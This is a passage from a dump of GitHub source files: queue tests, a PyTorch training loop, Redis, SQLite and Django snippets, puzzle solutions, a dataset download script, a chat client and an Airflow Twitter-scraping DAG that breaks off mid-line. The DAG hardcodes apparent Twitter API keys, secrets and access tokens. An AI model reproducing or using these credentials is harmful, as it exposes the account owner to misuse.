pytest\n\n\ndef test_enqueue_empty():\n \"\"\"Test enqueue on empty list.\"\"\"\n from queue import Queue\n my_queue = Queue()\n my_queue.enqueue('chicken-monkey')\n assert my_queue.container.head.val == 'chicken-monkey'\n\n\ndef test_enqueue_nonempty():\n \"\"\"Test enqueue on non-empty list.\"\"\"\n from queue import Queue\n my_queue = Queue()\n my_queue.enqueue('chicken')\n my_queue.enqueue('monkey')\n assert my_queue.container.head.val == 'monkey'\n\n\ndef test_dequeue_empty():\n \"\"\"Test dequeue on empty.\"\"\"\n from queue import Queue\n my_queue = Queue()\n with pytest.raises(AttributeError):\n my_queue.container.remove('puppy')\n\n\ndef test_dequeue_nonempty():\n \"\"\"Test dequeue on empty.\"\"\"\n from queue import Queue\n my_queue = Queue()\n my_queue.enqueue('monkey')\n my_queue.enqueue('chicken')\n my_queue.dequeue('monkey')\n assert my_queue.container.tail.val == 'chicken'\n\n\ndef test_peek():\n \"\"\"Return the next value in the queue.\"\"\"\n from queue import Queue\n my_queue = Queue()\n my_queue.enqueue('monkey')\n my_queue.enqueue('chicken')\n my_queue.enqueue('baby')\n assert my_queue.peek() == 'chicken'\n\n\ndef test_size():\n \"\"\"Test if the size method works.\"\"\"\n from queue import Queue\n my_queue = Queue()\n my_queue.enqueue('monkey')\n my_queue.enqueue('chicken')\n my_queue.enqueue('baby')\n assert my_queue.size() == 3\n","repo_name":"jaredscarr/data-structures","sub_path":"test_queue.py","file_name":"test_queue.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70750108035","text":"import torch\nimport numpy as np\n\nfrom utils.tools import curve_draw\n\n\ndef adjust_lr(base_lr, optimizer, epoch):\n step = [10, 20, 30, 40, 50, 60]\n lr = base_lr * (0.1 ** np.sum(epoch >= np.array(step)))\n for params_group in optimizer.param_groups:\n params_group['lr'] = lr\n return lr\n\n\ndef rightness(predictions, labels):\n pred = torch.max(predictions.data, 1)[1]\n rights = pred.eq(labels.data.view_as(pred)).sum() # 将下标与labels中包含的类别进行比较,并累计得到比较正确的数量\n return rights, len(labels) # 返回正确的数量和这一次一共比较了多少元素\n\n\ndef train_net(args, net, train_loader, val_loader, criterion, base_lr, optimizer, device):\n record = [] # 记录准确率等数值的容器\n net.train(True)\n best_r = 0.0\n for epoch in range(args.epochs):\n train_rights = [] # 记录训练数据集准确率的容器\n train_losses = []\n # adjust_lr(base_lr, optimizer, epoch)\n for batch_idx, (data, target) in enumerate(train_loader): # 针对容器中的每一个批进行循环\n data, target = data.clone().detach().requires_grad_(False), target.clone().detach()\n data, target = data.to(device), target.to(device)\n output = net(data)\n loss = criterion(output, target) # 计算误差\n optimizer.zero_grad() # 清空梯度\n loss.backward() # 反向传播\n optimizer.step() # 一步随机梯度下降\n right = rightness(output, target) # 计算准确率所需数值,返回正确的数值为(正确样例数,总样本数)\n train_rights.append(right) # 将计算结果装到列表容器中\n loss = loss.cpu()\n train_losses.append(loss.data.numpy())\n\n # 分别记录训练集中分类正确的数量和该集合中总的样本数\n train_r = (sum([tup[0] for tup in train_rights]), sum([tup[1] for tup in train_rights]))\n\n # 在测试集上分批运行,并计算总的正确率\n net.eval()\n vals = []\n val_losses = []\n # 对测试数据集进行循环\n for data, target in val_loader:\n data, target = data.to(device), target.to(device)\n data, target = data.clone().detach().requires_grad_(True), target.clone().detach()\n output = net(data)\n val_loss = criterion(output, target)\n val = rightness(output, target) # 获得正确样本数以及总样本数\n vals.append(val)\n val_loss = val_loss.cpu()\n val_losses.append(val_loss.data.numpy())\n\n # 计算准确率\n val_r = (sum([tup[0] for tup in vals]), sum([tup[1] for tup in vals]))\n val_ratio = 1.0 * val_r[0].cpu().numpy() / val_r[1]\n\n if val_ratio > best_r:\n best_r = val_ratio\n torch.save(net.state_dict(), args.output_dir + '/best_model.pth')\n # 打印准确率等数值,其中正确率为本训练周期Epoch开始后到目前撮的正确率的平均值\n print('epoch: {}\\t'\n 'loss: {:.6f}\\t\\t'\n 'train_acc: {:.2f}%\\t'\n 'val_acc: {:.2f}%'.format(\n epoch,\n np.mean(train_losses),\n 100. * train_r[0].cpu().numpy() / train_r[1],\n 100. * val_r[0].cpu().numpy() / val_r[1]\n )\n )\n record.append(\n [epoch, np.mean(train_losses), np.mean(val_losses), train_r[0].cpu().numpy() / train_r[1],\n val_r[0].cpu().numpy() / val_r[1]])\n\n curve_draw(args, record)\n","repo_name":"Challyfilio/Columba","sub_path":"utils/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74490623874","text":"from os import environ\nfrom secrets import choice\nfrom redis import Redis\nfrom time import sleep\nimport time\nimport random\n\n\nSTREAM = environ.get(\"REDIS_STREAM\", \"mystream\")\n\nMESSAGES = [\n \"A file was loaded\",\n \"A file was edited\",\n \"A file was deleted\",\n \"A file was created\",\n \"A file was moved\",\n]\n\nSTATUSES = [\n \"OK\", \"ERROR\"\n]\n\n\ndef connect_to_redis():\n hostname = environ.get(\"REDIS_HOSTNAME\", \"localhost\")\n port = environ.get(\"REDIS_PORT\", 6379)\n\n r = Redis(hostname, port, retry_on_timeout=True)\n return r\n\n\ndef send_data(redis_connection):\n count = 0\n while True:\n try:\n data = {\n \"timestamp\": time.strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"message\": random.choice(MESSAGES),\n \"status\": random.choice(STATUSES),\n }\n resp = redis_connection.xadd(STREAM, data)\n print(resp)\n count += 1\n\n except ConnectionError as e:\n print(\"ERROR REDIS CONNECTION: {}\".format(e))\n\n sleep(random.random()*2.0)\n\n\nif __name__ == \"__main__\":\n connection = connect_to_redis()\n send_data(connection)","repo_name":"aurany/msghub","sub_path":"producer/producer.py","file_name":"producer.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31596650198","text":"import json\nimport sqlite3\n\nwith open(\"places_transformed.json\", \"r\", encoding=\"utf8\") as f:\n data = json.load(f)\n\n\ndb = sqlite3.connect(\"McKinsey.db\")\nquery = \"insert into Places(name,url,street,zipcode,city, coordinate_x, coordinate_y, activities) values (?,?,?,?,?,?,?,?)\"\n\nfor place in data[\"places\"]:\n column = [str(place[\"name\"]), str(place[\"url\"]), str(place[\"address\"][\"street\"]), str(place[\"address\"][\"zipCode\"]), str(place[\"address\"][\"city\"]), str(place[\"coordinate_X\"]), str(place[\"coordinate_Y\"]), json.dumps(list(place[\"activities\"]))]\n print(column)\n c = db.cursor()\n c.execute(query, column)\n db.commit()\n c.close()\n\n\n","repo_name":"coding-competition-2019/teletubbies","sub_path":"backend/db_loader.py","file_name":"db_loader.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35971668758","text":"# Create your views here.\nfrom django.http import HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django.shortcuts import render\nfrom django.shortcuts import get_object_or_404\nfrom django.views import generic\n\nfrom models import Question\nfrom models import Choice\n\n\nclass IndexView(generic.ListView):\n template_name = 'polls/index.html'\n context_object_name = 'latest_question_list'\n\n def get_queryset(self):\n return Question.objects.order_by('-pub_date')[:5]\n\n\nclass DetailView(generic.DetailView):\n model = Question\n template_name = 'polls/detail.html'\n\n\nclass ResultsView(generic.DetailView):\n model = Question\n template_name = 'polls/results.html'\n\n\n# def index(request):\n# latest_question_list = Question.objects.order_by('-pub_date')[:5]\n# template = loader.get_template('polls/index.html')\n# context = RequestContext(request, {\n# 'latest_question_list': latest_question_list,\n# })\n# return HttpResponse(template.render(context))\n\ndef index(request):\n latest_question_list = Question.objects.order_by('-pub_date')[:5]\n context = {'latest_question_list': latest_question_list}\n return render(request, 'polls/index.html', context)\n\n#def detail(request, question_id):\n# try:\n# question = Question.objects.get(pk=question_id)\n# except Question.DoesNotExist:\n# raise Http404(\"Question does not exist\")\n# return render(request, 'polls/detail.html', {'question': question})\n\ndef detail(request, question_id):\n question = get_object_or_404(Question, pk=question_id)\n return render(request, 'polls/detail.html', {'question': question})\n\ndef results(request, question_id):\n question = get_object_or_404(Question, pk=question_id)\n return render(request, 'polls/results.html', {'question': question})\n\ndef vote(request, question_id):\n p = get_object_or_404(Question, pk=question_id)\n try:\n selected_choice = p.choice_set.get(pk=request.POST['choice'])\n except (KeyError, Choice.DoesNotExist):\n # Redisplay the question voting form.\n return render(request, 'polls/detail.html', {\n 'question': p,\n 'error_message': \"You didn't select a choice.\",\n })\n else:\n selected_choice.votes += 1\n selected_choice.save()\n # Always return an HttpResponseRedirect after successfully dealing\n # with POST data. This prevents data from being posted twice if a\n # user hits the Back button.\n return HttpResponseRedirect(reverse('polls:results', args=(p.id,)))\n\ndef recent(request, n_polls):\n try:\n selected_question = Question.objects.get(pk=request.POST['question'])\n except KeyError: #non e' una richiesta POST o non ho selezionato nessun messaggio\n question_list_ord = Question.objects.order_by('-pub_date')\n latest_question_list = []\n for q in question_list_ord:\n if q.was_published_recently():\n latest_question_list.append(q)\n if request.method == 'GET': #caso richiesta GET\n context = {'latest_question_list': latest_question_list[:int(n_polls)]}\n return render(request, 'polls/recent.html', context)\n elif request.method == 'POST': #caso richiesta POST con selezione non corretta\n return render(request, 'polls/recent.html', {\n 'latest_question_list': latest_question_list[:int(n_polls)],\n 'error_message': \"You didn't select a question.\",\n })\n else: #caso POST con scelta selezionata correttamente\n for c in selected_question.choice_set.all():\n c.votes = 0\n c.save()\n return HttpResponseRedirect(reverse('polls:results', args=(selected_question.id,)))","repo_name":"Neuro17/django-tutorial","sub_path":"polls/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27512710963","text":"# coding: UTF-8\n\nimport urllib.request # python3じゃないと動かない\nfrom bs4 import BeautifulSoup\n\n# RSSを取得する\nrss_url = \"https://itunes.apple.com/us/rss/newapplications/limit=100/xml\"\nresponse = urllib.request.urlopen(rss_url)\nrss = response.read().decode(\"utf-8\")\n\n# RSSからデータを抽出する\nsoup = BeautifulSoup(rss, \"html.parser\")\nfor entry in soup.find_all(\"entry\"):\n # タイトル\n print(entry.find(\"title\").string)\n # リンク先URL\n print(entry.find(\"id\").string)\n # 視聴URL\n links = [link for link in entry.find_all(\"link\") if link[\"type\"] == \"audio/x-m4a\"]\n if len(links) > 0:\n print(links[0][\"href\"])\n","repo_name":"1800m/Review_getter_for_app","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2238815964","text":"\"\"\"This module is for applying the type-1 Interval Agreement Approach.\n\nDetails of the interval agreement approach are within\nC. Wagner, S. Miller, J. M. Garibaldi, D. T. Anderson and T. C. Havens,\n\"From Interval-Valued Data to General Type-2 Fuzzy Sets,\"\nin IEEE Transactions on Fuzzy Systems, vol. 23, no. 2,\npp. 248-269, April 2015.\ndoi: 10.1109/TFUZZ.2014.2310734\n\"\"\"\n\nfrom numpy import linspace\n\nfrom interval_dict import IntervalDict\n\n\nclass IntervalAgreementApproach():\n \"\"\"This class type-1 interval agreement approach membership function.\"\"\"\n\n def __init__(self):\n \"\"\"Create a membership function by the interval agreement approach.\"\"\"\n self.intervals = IntervalDict()\n self._total_intervals = 0\n self._largest_value = 0 # largest value in the dict after summing\n self.height = 1\n\n def add_interval(self, interval):\n \"\"\"Add an interval to the fuzzy set.\"\"\"\n self.intervals[interval[0]:interval[1]] = 1\n self._total_intervals += 1\n self._largest_value = max([self.intervals[point] for point in\n self.intervals.singleton_keys()])\n self.height = self._largest_value / float(self._total_intervals)\n\n def calculate_membership(self, x):\n \"\"\"Calculate the membership of x. Returns a float.\"\"\"\n return float(self.intervals[x]) / self._total_intervals\n\n def calculate_centroid(self):\n \"\"\"Calculate the centroid x-value of the fuzzy set.\"\"\"\n top = 0\n bottom = 0\n for x in linspace(0, 10, 101):\n mu = self.calculate_membership(x)\n top += x * mu\n bottom += mu\n return top / bottom\n\n","repo_name":"decsys/iaa","sub_path":"py/iaa.py","file_name":"iaa.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23555261031","text":"#!usr/bin/env python\n\n\"\"\"\nInput\n\nThe first line of the input gives the number of test cases, T. T lines follow. Each line describes a test case with a single integer N, the last number counted by Tatiana.\n\n\nOutput\n\nFor each test case, output one line containing Case #x: y, where x is the test case number (starting from 1) and y is the last tidy number counted by Tatiana.\n\n\nLimits\n1 ≤ T ≤ 100.\n\"\"\"\n\n\nimport sys\n\n\ndef file_reader(input_file):\n with open(input_file, 'r') as file_obj_in:\n lines = file_obj_in.readlines()\n return lines\n\ndef find_last_tidy(last_number):\n if last_number < 10:\n return last_number\n num_str = str(last_number)\n digits = len(num_str)\n prev = int(num_str[0])\n for i in range(1, digits):\n current = int(num_str[i])\n j = i\n while prev > current:\n prev -= 1\n places = digits - j\n j -= 1\n num_str = num_str[:j] + str(prev) + places*'9'\n current = prev\n if j > 0:\n prev = int(num_str[j-1]) \n prev = int(num_str[i])\n return num_str.lstrip('0')\n\ndef main(filename, output):\n lines = file_reader(filename)\n testcases = int(lines[0].strip())\n i = 0\n output_file = output\n \n while i < testcases:\n i += 1\n last_number = int(lines[i].strip())\n last_tidy_number = find_last_tidy(last_number) \n\n with open(output_file, 'a') as file_obj_out:\n file_obj_out.write(\"Case #\" + str(i) + \": \" + str(last_tidy_number) + \"\\n\")\n\n\nif __name__ == '__main__':\n filename = sys.argv[1]\n output = sys.argv[2]\n main(filename, output)\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/2323.py","file_name":"2323.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36998067975","text":"class Solution:\n def climbStairs(self, n: int) -> int:\n # 动态规划\n # 1. 分析问题: 一维的动态规划问题\n # 2. 定义状态数组: dp[i] 表示到达第i阶的方法数\n # 3. 定义状态方程: dp[i] = dp[i - 1] + dp[i - 2]\n if n < 2:\n return n\n dp = [0 for _ in range(n + 1)]\n dp[1], dp[2] = 1, 2\n\n for i in range(3, n + 1):\n dp[i] = dp[i - 1] + dp[i - 2]\n \n return dp[-1]","repo_name":"algorithm006-class02/algorithm006-class02","sub_path":"Week_05/G20200343030632/Leetcode_70_632.py","file_name":"Leetcode_70_632.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"zh","doc_type":"code","stars":33,"dataset":"github-code","pt":"61"} +{"seq_id":"5203838875","text":"# Definition for singly-linked list.\nfrom typing import Optional\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\nclass Solution:\n def sortList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n def sortFunc(head, tail):\n if not head:\n return head\n if head.next == tail:\n head.next = None\n return head\n fast, slow = head, head\n while fast != tail:\n fast = fast.next\n slow = slow.next\n if fast != tail:\n fast = fast.next\n mid = slow\n return merge(sortFunc(head, mid), sortFunc(mid, tail))\n\n def merge(list1, list2):\n temp, temp1, temp2 = ListNode(), list1, list2\n dummpy = temp\n while temp1 and temp2:\n if temp1.val < temp2.val:\n temp.next = temp1\n temp1 = temp1.next\n else:\n temp.next = temp2\n temp2 = temp2.next\n temp = temp.next\n temp.next = temp1 if temp1 else temp2\n return dummpy.next\n\n return sortFunc(head, None)","repo_name":"LiuWeihao33/LeetCodeHot100","sub_path":"一刷/53_148. 排���链表.py","file_name":"53_148. 排序链表.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34873809882","text":"# examples/application/verification_scenarios/chp/phd/emissions.py\nimport tessif.frused.namedtuples as nts\nimport pandas as pd\n\nmapping = {\n 'sources': {\n 'expensive_power': {\n 'name': 'Expensive Power',\n 'outputs': ('electricity',),\n 'flow_rates': {'electricity': nts.MinMax(min=0, max=10)},\n 'flow_costs': {'electricity': 2},\n },\n 'expensive_heat': {\n 'name': 'Expensive Heat',\n 'outputs': ('hot_water',),\n 'flow_rates': {'hot_water': nts.MinMax(min=0, max=10)},\n 'flow_costs': {'hot_water': 2},\n },\n 'commodity': {\n 'name': 'Gas Commodity',\n 'outputs': ('gas',),\n # flow_rate between 0 and 10 (same as sink)\n },\n },\n 'transformers': {\n 'combined_heat_and_power': {\n 'name': 'CHP',\n 'inputs': ('gas',),\n 'outputs': (\"electricity\", 'hot_water',),\n \"conversions\": {\n ('gas', 'electricity'): 0.5,\n ('gas', 'hot_water'): 0.4,\n },\n 'flow_rates': {\n \"gas\": nts.MinMax(min=0, max=float(\"+inf\")),\n 'electricity': nts.MinMax(min=0, max=10),\n 'hot_water': nts.MinMax(min=0, max=8),\n },\n \"flow_costs\": {'electricity': 1, 'hot_water': 1, 'gas': 0},\n \"flow_emissions\": {'electricity': 1, 'hot_water': 1, 'gas': 0},\n },\n\n },\n 'sinks': {\n 'power_demand': {\n 'name': 'Power Demand',\n 'inputs': ('electricity',),\n # force an inflow of exactly 10\n 'flow_rates': {'electricity': nts.MinMax(min=10, max=10)},\n },\n 'heat_demand': {\n 'name': 'Heat Demand',\n 'inputs': ('hot_water',),\n # force an inflow of exactly 10\n 'flow_rates': {'hot_water': nts.MinMax(min=10, max=10)},\n },\n },\n 'storages': {},\n 'busses': {\n 'central_power_bus': {\n 'name': 'Power Bus',\n 'inputs': (\n 'CHP.electricity',\n 'Expensive Power.electricity',\n ),\n 'outputs': (\n 'Power Demand.electricity',\n ),\n 'component': 'bus',\n },\n 'central_heat_bus': {\n 'name': 'Heat Bus',\n 'inputs': (\n 'CHP.hot_water',\n 'Expensive Heat.hot_water',\n ),\n 'outputs': (\n 'Heat Demand.hot_water',\n ),\n 'component': 'bus',\n },\n 'gas_pipeline': {\n 'name': 'Gas Pipeline',\n 'inputs': (\n 'Gas Commodity.gas',\n ),\n 'outputs': (\n 'CHP.gas',\n ),\n 'component': 'bus',\n },\n },\n 'timeframe': {\n 'primary': pd.date_range('01/01/2022', periods=4, freq='H'),\n },\n 'global_constraints': {\n 'primary': {\n 'name': 'default',\n 'emissions': 54,\n },\n },\n}\n","repo_name":"tZ3ma/tessif-phd","sub_path":"src/tessif/examples/application/verification_scenarios/chp/phd/emissions.py","file_name":"emissions.py","file_ext":"py","file_size_in_byte":3077,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"37717217826","text":"import os\nfrom argparse import ArgumentParser\n\nfrom utils import get_track_information\n\nBASE_URL = 'http://csr.bu.edu/ftp/visda/2019/'\n\n\ndef download(path, url):\n url = f'{BASE_URL}{url}'\n print(f'downloading: {url}')\n os.system(f'wget -O {path} {url}')\n\n\ndef extract(path):\n print(f'extracting: {path}')\n destination_name = f'{path[:-4]}_'\n os.system(f'unzip {path} -d {destination_name}')\n name = os.listdir(destination_name)[0]\n os.system(f'mv {os.path.join(destination_name, name)} {path[:-4]}')\n os.system(f'rm -r {destination_name}')\n\n\ndef download_track(path, track):\n phases, domains, name = get_track_information(track)\n path = os.path.join(path, name, 'raw')\n os.makedirs(path, exist_ok=True)\n if len(os.listdir(path)) != 0:\n raise ValueError('Output directory is not empty')\n for domain in domains:\n url_name = name.replace('_', '-')\n download(os.path.join(path, f'{domain}.zip'), f'{url_name}/{domain}.zip')\n extract(os.path.join(path, f'{domain}.zip'))\n for phase in phases:\n phase_name = phase if phase != 'unlabeled' else 'unl'\n download(os.path.join(path, f'{domain}_{phase}.txt'), f'{url_name}/txt/{domain}_{phase_name}.txt')\n\n\nif __name__ == '__main__':\n parser = ArgumentParser()\n parser.add_argument('--path', type=str, default='/content/data')\n options = vars(parser.parse_args())\n\n for i in (0, 1):\n download_track(path=options['path'], track=i)\n","repo_name":"filaPro/visda2019","sub_path":"scripts/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"61"} +{"seq_id":"2404218748","text":"\r\nimport json\r\nimport io as _io\r\n\r\nFILE_NAME: str = 'enrollments.json'\r\n\r\nMENU: str = '''\r\n---- Student GPAs ------------------------------\r\n Select from the following menu: \r\n 1. Show current student data. \r\n 2. Enter new student data.\r\n 3. Save data to a file.\r\n 4. Exit the program.\r\n-------------------------------------------------- \r\n'''\r\n\r\nstudent_first_name: str = ''\r\nstudent_last_name: str = ''\r\nstudent_gpa: float = 0.0\r\nmessage: str = ''\r\nmenu_choice: str = ''\r\nstudent: dict = {}\r\nstudents: list = []\r\nfile_data: str = ''\r\nfile = _io.TextIOWrapper\r\n\r\n\r\ntry:\r\n file = open(FILE_NAME, \"r\")\r\n students = json.load(file)\r\n file.close()\r\nexcept FileNotFoundError as e:\r\n print(\"Text file must exist before running this script!\\n\")\r\n print(\"-- Technical Error Message -- \")\r\n print(e, e.__doc__, type(e), sep='\\n')\r\nexcept Exception as e:\r\n print(\"There was a non-specific error!\\n\")\r\n print(\"-- Technical Error Message -- \")\r\n print(e, e.__doc__, type(e), sep='\\n')\r\nfinally:\r\n if file.closed == False:\r\n file.close()\r\n\r\n\r\n\r\nwhile True:\r\n\r\n print(MENU)\r\n menu_choice = input(\"Enter your menu choice number: \")\r\n print()\r\n\r\n if menu_choice == \"1\":\r\n\r\n print(\"-\"*50)\r\n for student in students:\r\n if float(student[\"GPA\"]) >= 4.0:\r\n message = \" {} {} earned an A with a {:.2f} GPA\"\r\n elif float(student[\"GPA\"]) >= 3.0:\r\n message = \" {} {} earned a B with a {:.2f} GPA\"\r\n elif float(student[\"GPA\"]) >= 2.0:\r\n message = \" {} {} earned a C with a {:.2f} GPA\"\r\n elif float(student[\"GPA\"]) >= 1.0:\r\n message = \" {} {} earned a D with a {:.2f} GPA\"\r\n else:\r\n message = \" {} {}'s {:.2f} GPA was not a passing grade\"\r\n\r\n print(message.format(student[\"FirstName\"], student[\"LastName\"], float(student[\"GPA\"])))\r\n print(\"-\"*50)\r\n continue\r\n\r\n elif menu_choice == \"2\":\r\n try:\r\n\r\n student_first_name = input(\"What is the student's first name? \")\r\n if not student_first_name.isalpha():\r\n raise ValueError(\"The first name should not contain numbers.\")\r\n\r\n student_last_name = input(\"What is the student's last name? \")\r\n if not student_last_name.isalpha():\r\n raise ValueError(\"The last name should not contain numbers.\")\r\n\r\n try:\r\n student_gpa = float(input(\"What is the student's GPA? \"))\r\n except ValueError:\r\n raise ValueError(\"GPA must be a numeric value.\")\r\n\r\n student = {\"FirstName\": student_first_name,\r\n \"LastName\": student_last_name,\r\n \"GPA\": float(student_gpa)}\r\n students.append(student)\r\n except ValueError as e:\r\n print(e)\r\n print(\"-- Technical Error Message -- \")\r\n print(e.__doc__)\r\n print(e.__str__())\r\n except Exception as e:\r\n print(\"There was a non-specific error!\\n\")\r\n print(\"-- Technical Error Message -- \")\r\n print(e, e.__doc__, type(e), sep='\\n')\r\n\r\n continue\r\n\r\n elif menu_choice == \"3\":\r\n try:\r\n file = open(FILE_NAME, \"w\")\r\n json.dump(students, file, indent=4)\r\n file.close()\r\n print(json.dumps(students, indent=4))\r\n continue\r\n except TypeError as e:\r\n print(\"Please check that the data is a valid JSON format\\n\")\r\n print(\"-- Technical Error Message -- \")\r\n print(e, e.__doc__, type(e), sep='\\n')\r\n except Exception as e:\r\n print(\"-- Technical Error Message -- \")\r\n print(\"Built-In Python error info: \")\r\n print(e, e.__doc__, type(e), sep='\\n')\r\n finally:\r\n if file.closed == False:\r\n file.close()\r\n\r\n elif menu_choice == \"4\":\r\n break","repo_name":"Xenotech9/IntroToProg-Python-Mod05","sub_path":"Assignment05.py","file_name":"Assignment05.py","file_ext":"py","file_size_in_byte":3981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25186439315","text":"import asyncio\nimport json\nimport aiohttp_sse_client.client\nfrom aiohttp import ClientSession\nfrom aiohttp_sse_client import client as sseclient\n\n\nasync def handle_event(event: aiohttp_sse_client.client.MessageEvent, event_source):\n # 处理 SSE 事件的回调函数\n data = json.loads(event.data)\n # print(\"data\", data)\n if event.type == \"finish\":\n try:\n await event_source.close()\n except Exception as err:\n print(\"close with error\", err)\n return data[\"response\"], event.type\n\n\nasync def listen_sse(query, history=None, max_new_tokens=4096, top_p=0.5, temperature=0):\n if history is None:\n history = []\n async with ClientSession() as session:\n url = 'http://127.0.0.1:8000/stream_chat/'\n data = {\n \"query\": query,\n \"history\": history,\n \"max_new_tokens\": max_new_tokens,\n \"top_p\": top_p,\n \"temperature\": temperature,\n }\n headers = {'Content-Type': 'application/json'}\n response = \"\"\n if history is None:\n history = []\n print(\"Chatbox: \", end='', flush=True)\n async with sseclient.EventSource(url, json=data, headers=headers, session=session) as event_source:\n try:\n async for event in event_source:\n # 将事件传递给回调函数进行处理\n new_text, e_type = await handle_event(event, event_source)\n print(new_text, end='', flush=True)\n response += new_text\n if e_type == \"finish\":\n break\n except Exception as err:\n print(\"event close\", err)\n print(\"\")\n history.append((query, response))\n return response, history\n\n\nif __name__ == \"__main__\":\n history1 = []\n print(\"欢迎使用Qwen聊天机器人,输入exit退出,输入clear清空历史记录\")\n while True:\n query = input(\"Human: \")\n if query == 'exit':\n break\n if query == 'clear':\n history1 = []\n continue\n _, history1 = asyncio.run(listen_sse(query, history1))\n","repo_name":"Tlntin/Qwen-7B-Chat-TensorRT-LLM","sub_path":"examples/qwen/client/async_client.py","file_name":"async_client.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","stars":240,"dataset":"github-code","pt":"61"} +{"seq_id":"23515570081","text":"fin = open('input', 'r')\nfout = open('output', 'w')\ntests = int(fin.readline())\nfor i in range(tests):\n\ts = fin.readline()\n\tvalues = s.split()\n\t\n\tfor j in range(len(values)):\n\t\tvalues[j] = int(values[j])\n\n\ts = \"Case #\"+str(i+1)+\": \"\n\tif values[2] >= values[0]:\n\t\tfor j in range(values[2]):\n\t\t\ts = s + \" \" + str(j+1)\n\telif values[2] + 1>= values[0] and values[1] != 1:\n\t\tfor j in range(values[2]):\n\t\t\ts = s + \" \" + str(j+2)\n\telse:\n\t\ts = s + \"IMPOSIBLE\"\n\n\tfout.write(s+\"\\n\")\n\nfin.close()\nfout.close()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_180/1831.py","file_name":"1831.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12221032118","text":"from airflow import DAG\nfrom airflow.operators.python_operator import PythonOperator\nfrom airflow.operators.postgres_operator import PostgresOperator\nfrom airflow.models import BaseOperator\nfrom airflow.operators.dummy_operator import DummyOperator \nfrom airflow.operators.bash_operator import BashOperator\nfrom airflow.utils.trigger_rule import TriggerRule\nfrom airflow.models import Variable\nfrom airflow.hooks.S3_hook import S3Hook\nfrom airflow.hooks.postgres_hook import PostgresHook\n\nimport tweepy\nimport pandas as pd\nimport io\nimport json\nfrom datetime import datetime, timedelta, date\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom time import sleep\n\nimport logging\n\nlog = logging.getLogger(__name__)\n\n\n# =============================================================================\n# 1. Set up the main configurations of the dag\n# =============================================================================\ndefault_args = {\n 'start_date': datetime(2021, 4, 30),\n 'owner': 'Airflow',\n 'filestore_base': '/tmp/airflowtemp/',\n 'bucket_name': 'ucl-msin0166-2021-mwaa',\n# 'prefix': 'test_folder',\n 'db_name': Variable.get(\"schema_postgres_bingyu\", deserialize_json=True)['db_name'],\n 'aws_conn_id': \"aws_default\",\n 'consumer_key':\"mT81o4cCwLhB3v8T19obCLl9m\",\n 'consumer_secret':\"khIx52CeapnNU1Ux8NjJig2hNzAux7hQBol2q7ZfMzAHC2fSa9\",\n 'access_token': \"712363196-buAMU1eDePCkbjWhtT8BAlry2et9SeA6oY8CWRPN\",\n 'access_token_secret':\"rDXek6tRjNO9nrw43fSKxhaQlxzu0rsiYzAiNUSqvLZHi\", \n 'postgres_conn_id': 'postgres_conn_id_bingyu',\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 0,\n 'retry_delay': timedelta(minutes=5)\n}\n\n\ndag = DAG('airflow_individual',\n description='test for twitter web scraping',\n schedule_interval='@weekly', # cron scheduling for more detailed time\n catchup=False,\n default_args=default_args,\n max_active_runs=1)\n\n# =============================================================================\n# 2. Define different functions\n# =============================================================================\ndef scrape_data_twitter(**kwargs):\n\n # authorization of consumer key and consumer secret\n auth = tweepy.OAuthHandler(kwargs['consumer_key'], kwargs['consumer_secret'])\n \n # set access to user's access key and access secret \n auth.set_access_token(kwargs['access_token'], kwargs['access_token_secret'])\n \n # calling the api \n api = tweepy.API(auth)\n\n log.info('Start scraping')\n\n #task_instance = kwargs['ti']\n # tweets features\n tweet_id=[]\n user_id=[]\n text=[]\n retweeted=[]\n favorited=[]\n url=[]\n created_at=[]\n # user features\n screen_name=[]\n name=[]\n location=[]\n description=[]\n followers=[]\n friends=[]\n listed=[]\n user_created_at=[]\n favourites=[]\n verified=[]\n statuses=[]\n profile_bg_image=[]\n\n # Retweets and replies exclusive, until today (inclusive)\n until_date = (date.today()+timedelta(days = 1)).strftime(\"%Y-%m-%d\")\n query = 'Gloomhaven -filter:retweets -filter:replies'\n for i in tweepy.Cursor(api.search, q = 